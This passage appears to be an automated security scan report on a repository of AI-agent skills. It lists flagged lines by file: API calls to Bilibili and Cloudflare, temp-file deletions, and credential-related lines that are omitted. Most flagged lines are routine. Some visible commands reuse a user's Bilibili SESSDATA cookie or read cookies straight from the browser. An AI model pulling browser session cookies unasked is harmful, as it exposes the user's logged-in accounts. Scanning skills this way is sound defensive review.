    "description": "Tests/benchmarks a third-party LLM endpoint (OpenAI- or Anthropic-compatible): availability, fidelity, speed, concurrency, protocol compliance, quality regression. Use before hand-rolling a curl loop, when onboarding a provi
  • Network accessline 619
    "description": "Tests/benchmarks a third-party LLM endpoint (OpenAI- or Anthropic-compatible): availability, fidelity, speed, concurrency, protocol compliance, quality regression. Use before hand-rolling a curl loop, when onboarding a provi
  • Network accessline 833
    {       "name": "tunnel-doctor",       "description": "MUST be used first for tunnel / proxy-path connectivity failures or slow throughput (网络故障 / 连不上 / 代理或隧道下超时). Diagnoses Tailscale, proxy, TUN, DNS and SSH-tunnel problems on macOS and Wi
  • Network accessline 834
    "name": "tunnel-doctor",       "description": "MUST be used first for tunnel / proxy-path connectivity failures or slow throughput (网络故障 / 连不上 / 代理或隧道下超时). Diagnoses Tailscale, proxy, TUN, DNS and SSH-tunnel problems on macOS and Windows/WS
  • Network accessline 835
    "description": "MUST be used first for tunnel / proxy-path connectivity failures or slow throughput (网络故障 / 连不上 / 代理或隧道下超时). Diagnoses Tailscale, proxy, TUN, DNS and SSH-tunnel problems on macOS and Windows/WSL, e.g. Tailscale ping works bu
  • Access to secretsline 942
    [Credential-related source omitted]

app-evolver/references/feature-investigation.md

  • Network accessline 80
    This recipe adapts task decomposition from [Eleven at commit 3154935](https://github.com/Zfinix/eleven/tree/3154935cdab5a5982dd21d2de67b09870d2a292b),
  • Network accessline 81
    [Eleven at commit 3154935](https://github.com/Zfinix/eleven/tree/3154935cdab5a5982dd21d2de67b09870d2a292b),

app-evolver/references/skill-composition.md

  • Network accessline 23
    |---|---|---| | Complete source repository; architecture or feature implementation | Existing `competitors-analysis` and repository tools | Continue the established source path; REA is unnecessary unless a claim requires shipped-artifact or
  • Network accessline 24
    | Complete source repository; architecture or feature implementation | Existing `competitors-analysis` and repository tools | Continue the established source path; REA is unnecessary unless a claim requires shipped-artifact or runtime evide
  • Network accessline 25
    | Released application, ASAR/JavaScript/Electron, native/managed package, or passive runtime evidence | [`reverse-engineer-anything` from REA](https://github.com/morluto/rea/blob/main/.agents/skills/reverse-engineer-anything/SKILL.md) | Use
  • Network accessline 26
    | A specialized APK, JS, protocol, native or security-analysis question | [`reverse-skill`](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/SKILL.md), or its [`reverse-skill-router` adapter](https://github.com/zhaoxuya520/reve

auto-repo-setup/SKILL.md

  • Access to secretsline 42
    [Credential-related source omitted]

auto-repo-setup/evals/evals.json

  • Access to secretsline 33
    [Credential-related source omitted]

auto-repo-setup/references/codex-hook-trust.md

  • Access to secretsline 5
    [Credential-related source omitted]

auto-repo-setup/references/startup_automation.md

  • Network accessline 178
    - Anthropic, Skill authoring best practices:   https://platform.claude.com/docs/en/agents-and-tools/agent-skills/best-practices
  • Network accessline 179
    https://platform.claude.com/docs/en/agents-and-tools/agent-skills/best-practices
  • Network accessline 180
    - Anthropic, Claude Code hooks reference:   https://code.claude.com/docs/en/hooks - OpenAI, Unrolling the Codex agent loop (AGENTS.md loading):
  • Network accessline 181
    https://code.claude.com/docs/en/hooks
  • Network accessline 182
    - OpenAI, Unrolling the Codex agent loop (AGENTS.md loading):   https://openai.com/index/unrolling-the-codex-agent-loop/ - OpenAI Codex issue tracking root/subagent hook metadata:
  • Network accessline 183
    https://openai.com/index/unrolling-the-codex-agent-loop/
  • Network accessline 184
    - OpenAI Codex issue tracking root/subagent hook metadata:   https://github.com/openai/codex/issues/16226 - Git, git-pull documentation:
  • Network accessline 185
    https://github.com/openai/codex/issues/16226
  • Network accessline 187
    https://git-scm.com/docs/git-pull

auto-repo-setup/scripts/check_env.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 235
    [Credential-related source omitted]
  • Access to secretsline 240
    [Credential-related source omitted]
  • Access to secretsline 249
    [Credential-related source omitted]

auto-repo-setup/scripts/init_session_start_hook.py

  • Executable scriptline 1
    #!/usr/bin/env python3

auto-repo-setup/scripts/sanitize_history.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Access to secretsline 132
    [Credential-related source omitted]
  • Network accessline 133
    echo "4. 清理历史(选一):"   echo "   A) Orphan branch(历史可全丢):git checkout --orphan new-history"   echo "   B) BFG Repo-Cleaner(保留历史):https://rtyley.github.io/bfg-repo-cleaner/"
  • Network accessline 134
    echo "   A) Orphan branch(历史可全丢):git checkout --orphan new-history"   echo "   B) BFG Repo-Cleaner(保留历史):https://rtyley.github.io/bfg-repo-cleaner/"   echo "5. 通知其他协作者重新 clone"
  • Network accessline 135
    echo "   B) BFG Repo-Cleaner(保留历史):https://rtyley.github.io/bfg-repo-cleaner/"

auto-repo-setup/tests/test_scripts.py

  • Executable scriptline 1
    Executable file

bilibili-source/SKILL.md

  • Network accessline 26
    "aid": 1234567890,   "fetched_at": "2026-06-07T13:54:17Z",   "url": "https://www.bilibili.com/video/BV1xxxxxxxxx",
  • Network accessline 27
    "fetched_at": "2026-06-07T13:54:17Z",   "url": "https://www.bilibili.com/video/BV1xxxxxxxxx",   "title": "<video title>",
  • Network accessline 28
    "url": "https://www.bilibili.com/video/BV1xxxxxxxxx",
  • Access to secretsline 73
    [Credential-related source omitted]
  • Access to secretsline 83
    [Credential-related source omitted]

bilibili-source/evals/evals.json

  • Network accessline 5
    "id": 1,       "name": "cite-real-stats-from-url",       "prompt": "I'm writing up a short analysis of this B站 video: https://www.bilibili.com/video/BV17x411w7KC — I need the actual play count, likes and favorites to cite, not rough numbers
  • Network accessline 6
    "name": "cite-real-stats-from-url",       "prompt": "I'm writing up a short analysis of this B站 video: https://www.bilibili.com/video/BV17x411w7KC — I need the actual play count, likes and favorites to cite, not rough numbers. Can you get t
  • Network accessline 7
    "prompt": "I'm writing up a short analysis of this B站 video: https://www.bilibili.com/video/BV17x411w7KC — I need the actual play count, likes and favorites to cite, not rough numbers. Can you get them?",       "expected_behavior": [       
  • Access to secretsline 35
    [Credential-related source omitted]
  • Network accessline 43
    "id": 4,       "name": "multipart-and-shortlink",       "prompt": "朋友发我一个 b23.tv 短链(类似 https://b23.tv/xxxxxxx),说是个多P的合集视频,帮我看看有几个分P、每个分P的 cid 是多少,UP 有多少粉丝",
  • Network accessline 44
    "name": "multipart-and-shortlink",       "prompt": "朋友发我一个 b23.tv 短链(类似 https://b23.tv/xxxxxxx),说是个多P的合集视频,帮我看看有几个分P、每个分P的 cid 是多少,UP 有多少粉丝",       "expected_behavior": [
  • Network accessline 45
    "prompt": "朋友发我一个 b23.tv 短链(类似 https://b23.tv/xxxxxxx),说是个多P的合集视频,帮我看看有几个分P、每个分P的 cid 是多少,UP 有多少粉丝",       "expected_behavior": [         "Passes the b23.tv short link straight to scripts/bili-fetch.sh (which expands it)",

bilibili-source/references/bilibili_api.md

  • Network accessline 3
    Endpoints, fields, and gotchas behind `bilibili-source`. Every command below was tested 2026-06-07 (curl 8.7 / jq 1.7 / yt-dlp 2026.03) unless a section notes a later date; the
  • Network accessline 4
    2026-06-07 (curl 8.7 / jq 1.7 / yt-dlp 2026.03) unless a section notes a later date; the
  • Network accessline 23
    NP() { env -u http_proxy -u https_proxy -u all_proxy -u HTTP_PROXY -u HTTPS_PROXY -u ALL_PROXY "$@"; } UA="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 Chrome/124.0 Safari/537.36" HDR=(-H "User-Agent: $UA" -H "Referer:
  • Network accessline 25
    HDR=(-H "User-Agent: $UA" -H "Referer: https://www.bilibili.com")
  • Network accessline 28
    - **Proxy:** Bilibili is a domestic CN service. A local forward proxy (e.g. `127.0.0.1:1082`) makes requests hang or fail — strip proxy env per request. **Stripping env vars is NOT enough for Python `urllib`:** with no proxy env set, urllib
  • Network accessline 36
    | `BV` + 10 chars | Use directly: `?bvid=BV...`. Anchor the regex to `BV[0-9A-Za-z]{10}` — an unanchored `BV[0-9A-Za-z]+` over-captures trailing chars. | | `av<number>` / bare aid | `?aid=<number>`. The API accepts `aid` and returns `bvid`,
  • Network accessline 38
    | `b23.tv/xxxx` short link | One `curl -sI` (no `-L`); read the `Location:` header for the canonical URL, then extract BV/av. |
  • Network accessline 42
    `GET https://api.bilibili.com/x/web-interface/view/detail?bvid=<BV>` (or `?aid=<n>`) — returns
  • Network accessline 47
    NP curl -fsSL "${HDR[@]}" "https://api.bilibili.com/x/web-interface/view/detail?bvid=BV1xxxxxxxxx" \
  • Dangerous shell operationline 83
    NP curl -fsSL "${HDR[@]}" "https://api.bilibili.com/x/v1/dm/list.so?oid=<cid>"   | python3 -c "import sys,zlib; sys.stdout.buffer.write(zlib.decompress(sys.stdin.buffer.read(),-15))"
  • Network accessline 83
    NP curl -fsSL "${HDR[@]}" "https://api.bilibili.com/x/v1/dm/list.so?oid=<cid>" \
  • Access to secretsline 97
    [Credential-related source omitted]
  • Network accessline 99
    [Credential-related source omitted]
  • Access to secretsline 99
    [Credential-related source omitted]
  • Network accessline 100
    --add-header "Referer:https://www.bilibili.com" "https://www.bilibili.com/video/<BV>"
  • Network accessline 106
    NP curl -fsSL "${HDR[@]}" -b "SESSDATA=<your_sessdata>" \
  • Network accessline 107
    "https://api.bilibili.com/x/player/wbi/v2?bvid=<BV>&cid=<cid>" \      | jq '.data.subtitle.subtitles[] | {lan, url:.subtitle_url}'    # then download the .subtitle_url JSON (json3 format: body[].content, body[].from = seconds)
  • Network accessline 111
    Batch findings (2026-08-29): `subtitle_url` is protocol-relative (`//aisubtitle.hdslb.com/...`) —    prepend `https:`. For the SESSDATA path a full logged-in cookie jar also works (`curl -b <netscape-file>`;
  • Network accessline 112
    prepend `https:`. For the SESSDATA path a full logged-in cookie jar also works (`curl -b <netscape-file>`;
  • Access to secretsline 113
    [Credential-related source omitted]
  • Access to secretsline 114
    [Credential-related source omitted]
  • Network accessline 130
    # 1. Who am I / get the mid (also the login sanity check) NP curl -fsSL "${HDR[@]}" -b <cookie-jar> "https://api.bilibili.com/x/web-interface/nav" \
  • Network accessline 131
    NP curl -fsSL "${HDR[@]}" -b <cookie-jar> "https://api.bilibili.com/x/web-interface/nav" \
  • Network accessline 134
    # 2. List the user's created folders NP curl -fsSL "${HDR[@]}" -b <cookie-jar> \
  • Network accessline 135
    NP curl -fsSL "${HDR[@]}" -b <cookie-jar> \
  • Network accessline 136
    "https://api.bilibili.com/x/v3/fav/folder/created/list-all?up_mid=<mid>" \
  • Network accessline 139
    # 3. Page through one folder (ps max 20; loop pn while .data.has_more) NP curl -fsSL "${HDR[@]}" -b <cookie-jar> \
  • Network accessline 140
    NP curl -fsSL "${HDR[@]}" -b <cookie-jar> \
  • Network accessline 141
    "https://api.bilibili.com/x/v3/fav/resource/list?media_id=<folder-id>&pn=1&ps=20&order=mtime" \
  • Network accessline 180
    capture a transcript — only the API path above can. - **Watch pages come back gzip'd even without `Accept-Encoding`** — add `--compressed` to curl   when fetching page HTML (the JSON API endpoints return plain JSON and don't need it).
  • Access to secretsline 193
    [Credential-related source omitted]

bilibili-source/scripts/bili-access.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 344
    if name == 'playurl':             params.update(fnval=16, qn=64)         url = 'https://api.bilibili.com/' + path + '?' + urllib.parse.urlencode(params)
  • Network accessline 345
    params.update(fnval=16, qn=64)         url = 'https://api.bilibili.com/' + path + '?' + urllib.parse.urlencode(params)         request = urllib.request.Request(url, headers={'User-Agent': UA, 'Referer': 'https://www.bilibili.com'})
  • Network accessline 346
    url = 'https://api.bilibili.com/' + path + '?' + urllib.parse.urlencode(params)
  • Network accessline 347
    request = urllib.request.Request(url, headers={'User-Agent': UA, 'Referer': 'https://www.bilibili.com'})
  • Access to secretsline 385
    [Credential-related source omitted]

bilibili-source/scripts/bili-danmaku.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Network accessline 23
    bili_curl() {   env -u http_proxy -u https_proxy -u all_proxy -u HTTP_PROXY -u HTTPS_PROXY -u ALL_PROXY \     curl -fsSL --max-time 20 --retry 3 --retry-delay 1 --retry-all-errors \
  • Network accessline 24
    env -u http_proxy -u https_proxy -u all_proxy -u HTTP_PROXY -u HTTPS_PROXY -u ALL_PROXY      curl -fsSL --max-time 20 --retry 3 --retry-delay 1 --retry-all-errors
  • Network accessline 25
    curl -fsSL --max-time 20 --retry 3 --retry-delay 1 --retry-all-errors \
  • Network accessline 26
    -H "User-Agent: $UA" -H "Referer: https://www.bilibili.com" "$@"
  • Network accessline 40
    xml=$(bili_curl "https://api.bilibili.com/x/v1/dm/list.so?oid=$cid" \       | python3 -c "import sys,zlib; sys.stdout.buffer.write(zlib.decompress(sys.stdin.buffer.read(), -15))") \       || { echo "ERROR: fetch/decompress failed for cid=$c

bilibili-source/scripts/bili-fetch.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Network accessline 13
    #   bili-fetch.sh BV1xxxxxxxxx                       # BVID #   bili-fetch.sh av170001                           # av number #   bili-fetch.sh "https://b23.tv/xxxxxxx"           # short link (auto-expanded)
  • Network accessline 14
    #   bili-fetch.sh av170001                           # av number #   bili-fetch.sh "https://b23.tv/xxxxxxx"           # short link (auto-expanded) #   bili-fetch.sh "https://www.bilibili.com/video/BV1xxxxxxxxx"
  • Network accessline 15
    #   bili-fetch.sh "https://b23.tv/xxxxxxx"           # short link (auto-expanded)
  • Network accessline 16
    #   bili-fetch.sh "https://www.bilibili.com/video/BV1xxxxxxxxx"
  • Network accessline 27
    bili_curl() {   env -u http_proxy -u https_proxy -u all_proxy -u HTTP_PROXY -u HTTPS_PROXY -u ALL_PROXY \     curl -fsSL --max-time 20 --retry 3 --retry-delay 1 --retry-all-errors \
  • Network accessline 28
    env -u http_proxy -u https_proxy -u all_proxy -u HTTP_PROXY -u HTTPS_PROXY -u ALL_PROXY      curl -fsSL --max-time 20 --retry 3 --retry-delay 1 --retry-all-errors
  • Network accessline 29
    curl -fsSL --max-time 20 --retry 3 --retry-delay 1 --retry-all-errors \
  • Network accessline 30
    -H "User-Agent: $UA" -H "Referer: https://www.bilibili.com" "$@"
  • Network accessline 38
    if printf '%s' "$input" | grep -qi 'b23\.tv'; then   loc=$(env -u http_proxy -u https_proxy -u all_proxy -u HTTP_PROXY -u HTTPS_PROXY -u ALL_PROXY \         curl -sI --max-time 15 -H "User-Agent: $UA" "$input" \
  • Network accessline 39
    loc=$(env -u http_proxy -u https_proxy -u all_proxy -u HTTP_PROXY -u HTTPS_PROXY -u ALL_PROXY          curl -sI --max-time 15 -H "User-Agent: $UA" "$input"
  • Network accessline 40
    curl -sI --max-time 15 -H "User-Agent: $UA" "$input" \
  • Network accessline 56
    ts=$(date -u +"%Y-%m-%dT%H:%M:%SZ") json=$(bili_curl "https://api.bilibili.com/x/web-interface/view/detail?$q") \
  • Network accessline 57
    json=$(bili_curl "https://api.bilibili.com/x/web-interface/view/detail?$q") \
  • Network accessline 71
    aid: $v.aid,     fetched_at: $ts,     url: ("https://www.bilibili.com/video/" + $v.bvid),
  • Network accessline 72
    fetched_at: $ts,     url: ("https://www.bilibili.com/video/" + $v.bvid),     title: $v.title,
  • Network accessline 73
    url: ("https://www.bilibili.com/video/" + $v.bvid),

bilibili-source/scripts/bili-selftest.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Network accessline 25
    np_curl() {   env -u http_proxy -u https_proxy -u all_proxy -u HTTP_PROXY -u HTTPS_PROXY -u ALL_PROXY \     curl -fsSL --max-time 20 -H "User-Agent: $UA" -H "Referer: https://www.bilibili.com" "$@"
  • Network accessline 26
    env -u http_proxy -u https_proxy -u all_proxy -u HTTP_PROXY -u HTTPS_PROXY -u ALL_PROXY      curl -fsSL --max-time 20 -H "User-Agent: $UA" -H "Referer: https://www.bilibili.com" "$@"
  • Network accessline 27
    curl -fsSL --max-time 20 -H "User-Agent: $UA" -H "Referer: https://www.bilibili.com" "$@"
  • Network accessline 48
    echo "$("$here/bili-fetch.sh" "https://www.bilibili.com/video/BV17x411w7KC" 2>/dev/null)" \
  • Network accessline 64
    if [ -n "$CID" ]; then   SUBS=$(np_curl "https://api.bilibili.com/x/player/wbi/v2?aid=170001&cid=$CID" 2>/dev/null \
  • Network accessline 65
    SUBS=$(np_curl "https://api.bilibili.com/x/player/wbi/v2?aid=170001&cid=$CID" 2>/dev/null \
  • Network accessline 80
    FAV=$(np_curl "https://api.bilibili.com/x/v3/fav/folder/created/list-all?up_mid=1" 2>/dev/null \

bilibili-source/scripts/bili-subs.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Access to secretsline 8
    [Credential-related source omitted]
  • Network accessline 26
    case "$ref" in   http*) url="$ref" ;;   BV*|av*|AV*) url="https://www.bilibili.com/video/$ref" ;;
  • Network accessline 27
    http*) url="$ref" ;;   BV*|av*|AV*) url="https://www.bilibili.com/video/$ref" ;;   *) url="https://www.bilibili.com/video/$ref" ;;
  • Network accessline 28
    BV*|av*|AV*) url="https://www.bilibili.com/video/$ref" ;;
  • Network accessline 29
    *) url="https://www.bilibili.com/video/$ref" ;;
  • Access to secretsline 34
    [Credential-related source omitted]
  • Network accessline 35
    [Credential-related source omitted]
  • Access to secretsline 35
    [Credential-related source omitted]
  • Network accessline 36
    yt-dlp --skip-download --write-subs --sub-langs "ai-zh,zh-Hans,zh-CN,zh" \      --user-agent "$UA" --add-header "Referer:https://www.bilibili.com" \      --cookies-from-browser "$browser" \
  • Network accessline 37
    --user-agent "$UA" --add-header "Referer:https://www.bilibili.com" \
  • Access to secretsline 38
    [Credential-related source omitted]
  • Access to secretsline 45
    [Credential-related source omitted]

bilibili-source/tests/test_access.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 214
    def test_probe_failure_evidence_survives_emitted_report(self):         sensitive = 'https://example.invalid/?signature=SYNTHETIC_COOKIE'
  • Network accessline 215
    sensitive = 'https://example.invalid/?signature=SYNTHETIC_COOKIE'         cases = [             (urllib.error.HTTPError(sensitive, 412, sensitive, {}, None), 412, 'http_error'),

cli-demo-generator/assets/examples/batch-config.yaml

  • Network accessline 26
    theme: "Tokyo Night"     commands:       - "git clone https://github.com/user/repo.git"
  • Network accessline 27
    commands:       - "git clone https://github.com/user/repo.git"       - "cd repo"
  • Network accessline 28
    - "git clone https://github.com/user/repo.git"

cli-demo-generator/references/advanced_patterns.md

  • Dangerous shell operationline 157
    rm /tmp/demo_raw.gif
  • Dangerous shell operationline 235
    rm -f /tmp/raw.gif /tmp/rendered.tape

cli-demo-generator/references/vhs_syntax.md

  • Network accessline 193
    Type "# Step 1: Clone the repository" Enter Sleep 1s Type "git clone https://github.com/user/repo.git" Enter
  • Network accessline 194
    Sleep 1s Type "git clone https://github.com/user/repo.git" Enter Sleep 3s
  • Network accessline 195
    Type "git clone https://github.com/user/repo.git" Enter

cli-demo-generator/scripts/auto_generate_demo.py

  • Executable scriptline 1
    #!/usr/bin/env python3

cli-demo-generator/scripts/batch_generate.py

  • Executable scriptline 1
    #!/usr/bin/env python3

cli-demo-generator/scripts/record_interactive.sh

  • Executable scriptline 1
    #!/bin/bash
  • Dangerous shell operationline 62
    echo "  Linux: sudo apt install asciinema"

cloudflare-troubleshooting/SKILL.md

  • Network accessline 27
    [Credential-related source omitted]
  • Access to secretsline 27
    [Credential-related source omitted]
  • Access to secretsline 29
    [Credential-related source omitted]
  • Network accessline 51
    curl -X GET "https://api.cloudflare.com/client/v4/zones/{zone_id}/settings/ssl" \
  • Network accessline 60
    curl -X GET "https://api.cloudflare.com/client/v4/zones/{zone_id}/settings/always_use_https" \
  • Network accessline 67
    curl -X GET "https://api.cloudflare.com/client/v4/zones/{zone_id}/pagerules" \
  • Network accessline 76
    curl -I -H "Host: <domain>" https://<origin_ip>
  • Network accessline 80
    - SSL mode "flexible" + origin enforces HTTPS = redirect loop - Multiple redirect rules can conflict - Check browser vs curl behavior differences
  • Network accessline 82
    - Check browser vs curl behavior differences
  • Network accessline 86
    curl -X PATCH "https://api.cloudflare.com/client/v4/zones/{zone_id}/settings/ssl" \
  • Network accessline 95
    curl -X POST "https://api.cloudflare.com/client/v4/zones/{zone_id}/purge_cache" \
  • Network accessline 113
    curl -X GET "https://api.cloudflare.com/client/v4/zones/{zone_id}/dns_records" \
  • Network accessline 126
    curl -X GET "https://api.cloudflare.com/client/v4/zones/{zone_id}/dnssec" \
  • Network accessline 143
    curl -X GET "https://api.cloudflare.com/client/v4/zones/{zone_id}/ssl/certificate_packs" \
  • Network accessline 169
    curl -I -H "Host: <domain>" https://<origin_ip>
  • Network accessline 174
    curl -X GET "https://api.cloudflare.com/client/v4/zones/{zone_id}/dns_records" \
  • Network accessline 181
    curl -X GET "https://api.cloudflare.com/client/v4/zones/{zone_id}/load_balancers" \
  • Network accessline 188
    curl -X GET "https://api.cloudflare.com/client/v4/zones/{zone_id}/firewall/rules" \
  • Network accessline 197
    1. **Browse API reference:** https://developers.cloudflare.com/api/
  • Network accessline 205
    # List available settings for a zone curl -X GET "https://api.cloudflare.com/client/v4/zones/{zone_id}/settings" \
  • Network accessline 206
    curl -X GET "https://api.cloudflare.com/client/v4/zones/{zone_id}/settings" \
  • Network accessline 234
    2. **Gather multiple data points** - Cross-reference settings 3. **Check related configurations** - Settings often interact 4. **Verify externally** - Use dig/curl to confirm
  • Network accessline 235
    3. **Check related configurations** - Settings often interact 4. **Verify externally** - Use dig/curl to confirm 5. **Test incrementally** - One change at a time
  • Network accessline 236
    4. **Verify externally** - Use dig/curl to confirm
  • Network accessline 288
    # 1. Get zone ID curl -s -X GET "https://api.cloudflare.com/client/v4/zones?name=example.com" \
  • Network accessline 289
    curl -s -X GET "https://api.cloudflare.com/client/v4/zones?name=example.com" \
  • Network accessline 293
    # Select the intended account from the exact-domain result before using its id. # 2. Check SSL mode (primary suspect for redirect loops) curl -s -X GET "https://api.cloudflare.com/client/v4/zones/ZONE_ID/settings/ssl" \
  • Network accessline 294
    # 2. Check SSL mode (primary suspect for redirect loops) curl -s -X GET "https://api.cloudflare.com/client/v4/zones/ZONE_ID/settings/ssl" \   -H "X-Auth-Email: user@example.com" \
  • Network accessline 295
    curl -s -X GET "https://api.cloudflare.com/client/v4/zones/ZONE_ID/settings/ssl" \
  • Network accessline 301
    # 3. Fix by changing to "full" curl -X PATCH "https://api.cloudflare.com/client/v4/zones/ZONE_ID/settings/ssl" \
  • Network accessline 302
    curl -X PATCH "https://api.cloudflare.com/client/v4/zones/ZONE_ID/settings/ssl" \
  • Network accessline 308
    # 4. Only if stale HTTP redirects remain, purge HTTP cache curl -X POST "https://api.cloudflare.com/client/v4/zones/ZONE_ID/purge_cache" \
  • Network accessline 309
    curl -X POST "https://api.cloudflare.com/client/v4/zones/ZONE_ID/purge_cache" \

cloudflare-troubleshooting/references/api_overview.md

  • Network accessline 7
    curl -X GET "https://api.cloudflare.com/client/v4/..." \
  • Network accessline 14
    curl -X GET "https://api.cloudflare.com/client/v4/..." \
  • Network accessline 199
    POST /zones/{zone_id}/purge_cache {"files": ["https://example.com/style.css", "https://example.com/script.js"]}
  • Network accessline 200
    {"files": ["https://example.com/style.css", "https://example.com/script.js"]}
  • Network accessline 369
    curl -s -X GET "https://api.cloudflare.com/client/v4/zones/{zone_id}/settings" \
  • Network accessline 379
    Browse official API reference: https://developers.cloudflare.com/api/
  • Network accessline 407
    # 1. Check if endpoint exists curl -I "https://api.cloudflare.com/client/v4/zones/{zone_id}/feature_name"
  • Network accessline 408
    curl -I "https://api.cloudflare.com/client/v4/zones/{zone_id}/feature_name"
  • Network accessline 410
    # 2. Try listing (if collection) curl -X GET "https://api.cloudflare.com/client/v4/zones/{zone_id}/feature_name" \
  • Network accessline 411
    curl -X GET "https://api.cloudflare.com/client/v4/zones/{zone_id}/feature_name" \
  • Network accessline 454
    curl ... | jq '.result'
  • Network accessline 459
    curl ... | jq '.result.value'
  • Network accessline 460
    curl ... | jq '.result[] | {id, name, value}'
  • Network accessline 465
    response=$(curl ...)
  • Network accessline 476
    zone_id=$(curl ... | jq -r '.result[0].id')
  • Network accessline 486
    # Get all settings curl -X GET "/zones/{zone_id}/settings" | jq '.result[]'
  • Network accessline 487
    curl -X GET "/zones/{zone_id}/settings" | jq '.result[]'
  • Network accessline 489
    # Filter specific settings curl -X GET "/zones/{zone_id}/settings" | jq '.result[] | select(.id | contains("ssl"))'
  • Network accessline 490
    curl -X GET "/zones/{zone_id}/settings" | jq '.result[] | select(.id | contains("ssl"))'
  • Network accessline 495
    # List resources curl -X GET "/zones/{zone_id}/dns_records" | jq '.result[] | {id, name, type}'
  • Network accessline 496
    curl -X GET "/zones/{zone_id}/dns_records" | jq '.result[] | {id, name, type}'
  • Network accessline 498
    # Get specific resource record_id="..." curl -X GET "/zones/{zone_id}/dns_records/$record_id" | jq '.'
  • Network accessline 500
    curl -X GET "/zones/{zone_id}/dns_records/$record_id" | jq '.'
  • Network accessline 505
    # Check related settings in parallel curl ... /settings/ssl &
  • Network accessline 506
    curl ... /settings/ssl &
  • Network accessline 507
    curl ... /settings/always_use_https &
  • Network accessline 508
    curl ... /pagerules &
  • Network accessline 514
    # Make change curl -X PATCH "/zones/{zone_id}/settings/ssl" -d '{"value":"full"}'
  • Network accessline 515
    curl -X PATCH "/zones/{zone_id}/settings/ssl" -d '{"value":"full"}'
  • Network accessline 517
    # Verify change applied curl -X GET "/zones/{zone_id}/settings/ssl" | jq '.result.value'
  • Network accessline 518
    curl -X GET "/zones/{zone_id}/settings/ssl" | jq '.result.value'
  • Network accessline 537
    curl -X GET "/zones?name=example.com" | jq '.result[0].account.id'

cloudflare-troubleshooting/references/common_issues.md

  • Access to secretsline 31
    [Credential-related source omitted]
  • Access to secretsline 34
    [Credential-related source omitted]
  • Access to secretsline 37
    [Credential-related source omitted]
  • Network accessline 60
    curl -X GET "https://api.cloudflare.com/client/v4/zones/ZONE_ID/settings/ssl" \
  • Access to secretsline 67
    [Credential-related source omitted]
  • Network accessline 72
    curl -X POST "https://api.cloudflare.com/client/v4/zones/ZONE_ID/purge_cache" \
  • Network accessline 239
    ### Step 2: Check Cloudflare Status - Visit https://www.cloudflarestatus.com
  • Network accessline 240
    - Visit https://www.cloudflarestatus.com
  • Access to secretsline 245
    [Credential-related source omitted]

cloudflare-troubleshooting/references/email-routing.md

  • Network accessline 13
    All paths below are relative to `https://api.cloudflare.com/client/v4`:
  • Network accessline 26
    [Credential-related source omitted]
  • Access to secretsline 26
    [Credential-related source omitted]
  • Network accessline 27
    "https://api.cloudflare.com/client/v4/zones/${CF_ZONE_ID}/email/routing/rules" \
  • Access to secretsline 29
    [Credential-related source omitted]
  • Access to secretsline 32
    [Credential-related source omitted]
  • Network accessline 50
    See the official [Email Routing API](https://developers.cloudflare.com/api/resources/email_routing/) and [Email Routing documentation](https://developers.cloudflare.com/email-routing/). The endpoint sequence above was exercised against a co

cloudflare-troubleshooting/references/pages-custom-domain.md

  • Network accessline 19
    Reuse the entry's authentication. These are read-only API paths under `https://api.cloudflare.com/client/v4`; require a successful response before
  • Network accessline 20
    `https://api.cloudflare.com/client/v4`; require a successful response before
  • Network accessline 102
    [pages]: https://developers.cloudflare.com/pages/configuration/custom-domains/
  • Network accessline 103
    [dnssec]: https://developers.cloudflare.com/dns/dnssec/#migrate-to-cloudflare-with-dnssec-active

cloudflare-troubleshooting/references/ssl_modes.md

  • Network accessline 50
    1. Browser requests https://example.com
  • Network accessline 51
    2. Cloudflare receives HTTPS request 3. Cloudflare forwards HTTP request to origin (because mode is Flexible) 4. Origin server enforces HTTPS → redirects to https://example.com
  • Network accessline 52
    3. Cloudflare forwards HTTP request to origin (because mode is Flexible) 4. Origin server enforces HTTPS → redirects to https://example.com 5. Back to step 1 → INFINITE LOOP
  • Network accessline 53
    4. Origin server enforces HTTPS → redirects to https://example.com
  • Network accessline 145
    # Check current mode curl -X GET "https://api.cloudflare.com/client/v4/zones/ZONE_ID/settings/ssl" \
  • Network accessline 146
    curl -X GET "https://api.cloudflare.com/client/v4/zones/ZONE_ID/settings/ssl" \
  • Access to secretsline 151
    [Credential-related source omitted]
  • Access to secretsline 154
    [Credential-related source omitted]
  • Access to secretsline 165
    [Credential-related source omitted]
  • Network accessline 234
    [Credential-related source omitted]
  • Access to secretsline 234
    [Credential-related source omitted]
  • Access to secretsline 236
    [Credential-related source omitted]
  • Network accessline 242
    [Credential-related source omitted]
  • Access to secretsline 242
    [Credential-related source omitted]
  • Access to secretsline 244
    [Credential-related source omitted]

cloudflare-troubleshooting/scripts/check_cloudflare_config.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 22
    [Credential-related source omitted]
  • Network accessline 37
    try:         response = requests.get(
  • Network accessline 38
    response = requests.get(
  • Network accessline 39
    f"https://api.cloudflare.com/client/v4/zones/{zone_id}/settings/ssl",
  • Access to secretsline 40
    [Credential-related source omitted]
  • Network accessline 54
    https_response = requests.get(
  • Network accessline 55
    f"https://api.cloudflare.com/client/v4/zones/{zone_id}/settings/always_use_https",
  • Access to secretsline 56
    [Credential-related source omitted]
  • Access to secretsline 94
    [Credential-related source omitted]
  • Network accessline 108
    try:         response = requests.get(
  • Network accessline 109
    response = requests.get(
  • Network accessline 110
    f"https://api.cloudflare.com/client/v4/zones/{zone_id}/dns_records",
  • Access to secretsline 111
    [Credential-related source omitted]
  • Access to secretsline 151
    [Credential-related source omitted]
  • Network accessline 165
    try:         response = requests.get(
  • Network accessline 166
    response = requests.get(
  • Network accessline 167
    f"https://api.cloudflare.com/client/v4/zones/{zone_id}/pagerules",
  • Access to secretsline 168
    [Credential-related source omitted]
  • Access to secretsline 216
    [Credential-related source omitted]
  • Network accessline 218
    print("  python check_cloudflare_config.py typeof.tech user@example.com abc123...")         print("\nGet your Global API Key from:")         print("  https://dash.cloudflare.com/profile/api-tokens")
  • Network accessline 219
